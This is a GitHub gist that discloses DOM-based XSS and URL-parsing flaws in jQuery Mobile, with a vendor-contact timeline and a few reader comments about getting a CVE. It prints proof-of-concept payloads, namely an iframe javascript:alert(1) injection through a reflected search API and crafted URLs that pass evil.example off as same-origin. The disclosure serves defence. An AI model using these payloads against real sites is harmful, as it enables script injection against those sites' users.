Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?

Multiple vulnerabilities in jQuery Mobile

Summary

All current versions of jQuery Mobile (JQM) as of 2019-05-04 are vulnerable to DOM-based Cross-Site Scripting (XSS) via crafted URLs. In JQM versions up to and including 1.2.1, the only requirement is that the library is included in a web application. In versions > 1.2.1, the web application must also contain a server-side API that reflects back user input as part of an HTTP response of any type. Practically all non-trivial web applications contain at least one such API.

Additionally, all current versions of JQM contain a broken implementation of a URL parser, which can lead to security issues in affected applications.

No official patch is available as JQM no longer appears to be actively maintained. Migrate to an alternative framework if possible.

Background

In 2017, @sirdarckcat published a vulnerability in JQM that allowed an attacker to perform XSS attacks on any applications that also had a server-side open redirection vulnerability in them. If you're not familiar with @sirdarckcat's research, read that first.

The vulnerability was reported to the JQM maintainers, but was left unpatched for two reasons:

  1. Exploiting it required the use of another pre-existing vulnerability
  2. Patching would have risked breaking compatibility with exising applications

We've identified two ways of exploiting the aforementioned vulnerability without having to rely on open redirection. The first one works in all versions of jQuery Mobile, as long as certain functionality is present in the same web application. The second technique places no requirements on the web application, but only works in jQuery Mobile versions up to and including 1.2.1. It may, however, have other security implications even in more recent branches of the library.

Missing content-type validation

The idea of the first technique is to exploit the fact that jQuery Mobile does not validate the content-type of the XHR response sirdarckcat is exploiting for XSS. Instead of relying on open redirection, an attacker can use any same-origin URL that reflects back user input from a GET parameter.

Consider a REST search API.

/search?q=<search_query>

The response format would be something like the following:

{"q":"<search_query>","results":["<search_results>"]}

Assuming example.com contains both this API and a jQuery Mobile application, an attacker would be able to gain XSS as follows:

https://example.com/path/to/app/#/search?q=<iframe/src='javascript:alert(1)'></iframe>

When a user opens this link, the jQuery Mobile application makes an XHR request to /search?q=<iframe/src='javascript:alert(1)'></iframe>. The search API responds to the request with the following:

{"q":"<iframe/src='javascript:alert(1)'></iframe>","results":[]}

jQuery Mobile then proceeds to disregard the JSON content-type and place the response into the DOM as-is. HTML inside the JSON structure is parsed by the browser and JavaScript executes.

This is more severe than sirdackcat's original exploit, since no server-side vulnerability is required, only fairly normal functionality.

Broken URL parsing

The second technique exploits the URL parser implemented in jQuery.mobile.path.parseUrl. This parser is based on a regular expression, urlParseRE, that looks like the following:

/^\s*(((([^:\/#\?]+:)?(?:(\/\/)((?:(([^:@\/#\?]+)(?:\:([^:@\/#\?]+))?)@)?(([^:\/#\?\]\[]+|\[[^\/\]@#?]+\])(?:\:([0-9]+))?))?)?)?((\/?(?:[^\/\?#]+\/+)*)([^\?#]*)))?(\?[^#]+)?)(#.*)?/

This is terribly broken and fails in the most basic forms of URL validation. Consider the following:

jQuery.mobile.path.isSameDomain("http://good.example:@evil.example", "http://good.example");

This returns true in all versions of jQuery Mobile, even though the domain of the first URL is evil.example and the second good.example.

In jQuery Mobile versions ≤ 1.2.1, an XSS exploit would look like the following:

https://example.com/path/to/app#https://example.com:@evil.example

jQuery Mobile parses the URL, determines it to be same-origin (even though it clearly isn't), issues a request, and loads a malicious payload into the DOM. On the attacker's side this merely requires setting up a server at evil.example to serve the payload along with appropriate CORS headers.

On jQuery Mobile ≥ 1.3.0 the XSS exploit doesn't work, since the navigation logic has been largely rewritten. The URL parsing flaw may still impact other parts of the library and applications that rely on it.

Timeline

Date Action
2018-12-01 Attempted to contact maintainers via GitHub
2018-12-02 Attempted to contact maintainers via email
2018-12-14 Repeated attempt to contact via email
2018-12-21 Reopened GitHub ticket
2019-02-01 Set 90 deadline for public disclosure
2019-03-06 Successfully contacted maintainers via Slack
2019-03-06 Received short reply to previous emails, "seems worth fixing", followed by complete radio silence
2019-05-04 Public disclosure
@junorouse

This comment has been minimized.

Copy link

commented May 5, 2019

typo: exising -> existing

@reedloden

This comment has been minimized.

Copy link

commented May 8, 2019

Is there a CVE assigned for this?

@jupenur

This comment has been minimized.

Copy link
Owner Author

commented May 9, 2019

@reedloden Nope, sorry. Someone submitted it to Snyk though, so they have an identifier for it. See https://snyk.io/vuln/SNYK-JS-JQUERYMOBILE-174599

@reedloden

This comment has been minimized.

Copy link

commented May 9, 2019

Maybe report it to https://hackerone.com/nodejs-ecosystem so a CVE can be assigned?

@jupenur

This comment has been minimized.

Copy link
Owner Author

commented May 9, 2019

Done.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.